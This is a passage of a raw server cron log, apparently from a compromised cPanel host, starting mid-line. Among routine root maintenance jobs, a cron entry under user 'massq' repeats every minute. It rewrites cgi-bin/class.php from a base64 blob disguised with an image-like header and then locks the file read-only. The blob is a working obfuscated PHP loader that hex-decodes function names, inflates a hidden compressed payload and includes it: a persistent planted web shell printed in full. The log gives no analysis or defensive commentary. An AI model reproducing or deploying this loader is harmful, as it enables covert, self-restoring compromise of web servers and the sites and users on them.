9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:12:01 server CROND[11103]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:12:01 server CROND[11104]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 22:13:01 server CROND[11256]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:14:01 server CROND[11531]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:15:01 server CROND[11649]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 22:15:01 server CROND[11650]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 22:15:01 server CROND[11651]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr 10 22:15:01 server CROND[11652]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:16:01 server CROND[11819]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:17:01 server CROND[11931]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:18:01 server CROND[12013]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:19:01 server CROND[12081]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:20:01 server CROND[12144]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 22:20:01 server CROND[12145]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 22:20:01 server CROND[12147]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 22:20:01 server CROND[12151]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 22:20:01 server CROND[12149]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:21:01 server CROND[12365]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:22:01 server CROND[12441]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:23:01 server CROND[12504]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:24:01 server CROND[12586]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:25:01 server CROND[12650]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 22:25:01 server CROND[12652]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
